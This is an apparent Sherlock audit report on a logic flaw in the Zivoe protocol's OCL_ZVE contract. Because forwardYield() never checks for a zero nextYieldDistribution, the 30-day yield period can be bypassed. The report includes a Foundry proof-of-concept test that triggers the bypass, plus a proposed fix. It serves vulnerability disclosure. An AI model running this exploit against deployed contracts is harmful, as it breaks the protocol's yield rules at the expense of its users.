Glorious Midnight Snake

medium

# Yield distribution period in `OCL_ZVE` can be bypassed

## Summary
[`OCL_ZVE#forwardYield()`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L287-L305) doesn't check if `nextYieldDistribution` is 0, resulting in it being set the wrong value.

## Vulnerability Detail
Zivoe protocol can allocate their capital to $ZVE/stablecoin pools to earn yields/profits through [`OCL_ZVE`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol).
The yield can only be claimed once each 30 days according the sponsor's comments in [`OCL_ZVE#L78`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L78):
> ///           - Forward yield (profits) every 30 days to the YDL with compounding mechanisms.

`nextYieldDistribution` is used to determine the earliest next distribution time, which will be extended each time when `forwardYield()` is called successfully:
```solidity
    function forwardYield() external {
        if (IZivoeGlobals_OCL_ZVE(GBL).isKeeper(_msgSender())) {
            require(
                block.timestamp > nextYieldDistribution - 12 hours, 
                "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution - 12 hours"
            );
        }
        else {
            require(
                block.timestamp > nextYieldDistribution, 
                "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution"
            );
        }

        (uint256 amount, uint256 lp) = fetchBasis();
        if (amount > basis) { _forwardYield(amount, lp); }
        (basis,) = fetchBasis();
@>      nextYieldDistribution += 30 days;
    }
```
However, `nextYieldDistribution` might be 0 in the first call of `forwardYield()`, resulting in it being set incorrect value.

Copy below codes into [`Test_OCL_ZVE.sol`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-testing/src/TESTS_Lockers/Test_OCL_ZVE.sol) and run `forge test --rpc-url RPC-URL --match-test test_OCL_ZVE_SUSHI_forwardYield_no_restrictions`:
```solidity
    function test_OCL_ZVE_SUSHI_forwardYield_no_restrictions() public {
        vm.prank(address(DAO));
        ZVE.transfer(address(this), 1e6);
        mint("DAI", address(this), 1e6);
        ZVE.approve(OCL_ZVE_SUSHI_DAI.router(), 1e6);
        IERC20(DAI).approve(OCL_ZVE_SUSHI_DAI.router(), 1e6);
        //@audit-info DAI-ZVE pool can be created in advance
        IUniswapV2Router01(OCL_ZVE_SUSHI_DAI.router()).addLiquidity(DAI, address(ZVE), 1e6, 1e6, 1e6, 1e6, address(this), block.timestamp);
        //@audit-info nextYieldDistribution was 0 initially
        assert(OCL_ZVE_SUSHI_DAI.nextYieldDistribution() == 0);
        //@audit-info once the pool is created, anyone can call forwardYield()
        hevm.prank(address(bob));
        OCL_ZVE_SUSHI_DAI.forwardYield();
        //@audit-info Fisrt call of forwardYield() set nextYieldDistribution to 30 days 
        assert(OCL_ZVE_SUSHI_DAI.nextYieldDistribution() == 30 days);

        address[] memory assets = new address[](2);
        assets[0] = DAI;
        assets[1] = address(ZVE);
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = amounts[1] = 1e8;
        assert(god.try_pushMulti(address(DAO), address(OCL_ZVE_SUSHI_DAI), assets, amounts, new bytes[](2)));
        //@audit-info The second call of forwardYield() succeeded even though the time wasn't changed.
        OCL_ZVE_SUSHI_DAI.forwardYield();
        //@audit-info Second call of forwardYield() set nextYieldDistribution to 60 days 
        assert(OCL_ZVE_SUSHI_DAI.nextYieldDistribution() == 60 days);
    }
```
## Impact
`OCL_ZVE#forwardYield()` can be called anytime,  the limitation that the yield can only be  distributed once per 30 days was broken.
## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L304
## Tool used

Manual Review

## Recommendation
Verify whether `nextYieldDistribution` is valid in `OCL_ZVE#forwardYield()`:
```diff
    function forwardYield() external {
+       require(nextYieldDistribution != 0, "OCL_ZVE::forwardYield() nextYieldDistribution == 0");
        if (IZivoeGlobals_OCL_ZVE(GBL).isKeeper(_msgSender())) {
            require(
                block.timestamp > nextYieldDistribution - 12 hours, 
                "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution - 12 hours"
            );
        }
        else {
            require(
                block.timestamp > nextYieldDistribution, 
                "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution"
            );
        }

        (uint256 amount, uint256 lp) = fetchBasis();
        if (amount > basis) { _forwardYield(amount, lp); }
        (basis,) = fetchBasis();
        nextYieldDistribution += 30 days;
    }
```